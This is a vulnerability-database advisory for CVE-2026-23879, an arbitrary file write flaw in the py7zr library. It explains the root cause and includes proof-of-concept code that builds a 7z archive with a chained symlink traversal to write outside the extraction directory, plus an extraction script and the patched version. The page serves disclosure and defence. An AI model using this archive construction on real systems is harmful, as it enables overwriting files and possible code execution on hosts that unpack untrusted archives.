CVE-2026-23879High· 8.0▾ Twilightpy7zr: Arbitrary File Write Vulnerability
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 44 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 4.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.4%
0.4% → 0.6%
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
py7zr <= 1.1.2Upgrade to a patched release:
py7zr 1.1.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-55195Mediumpy7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
CVE-2026-55206Mediumpy7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
CVE-2015-5287High· 7.8The abrt-hook-ccpp help program in Automatic Bug Reporting Tool (ABRT) before 2.7.1 allows local users with certain permissions to gain privileges via a symlink attack on a file with a predictable name, as demonstrated by /var/tmp/abrt/a…
CVE-2021-41379Medium· 5.5Windows Installer Elevation of Privilege Vulnerability
CVE-2020-0787High· 7.8An elevation of privilege vulnerability exists when the Windows Background Intelligent Transfer Service (BITS) improperly handles symbolic links, aka 'Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability'.
CVE-2019-1385High· 7.8An elevation of privilege vulnerability exists when the Windows AppX Deployment Extensions improperly performs privilege management, resulting in access to system files.To exploit this vulnerability, an authenticated attacker would need …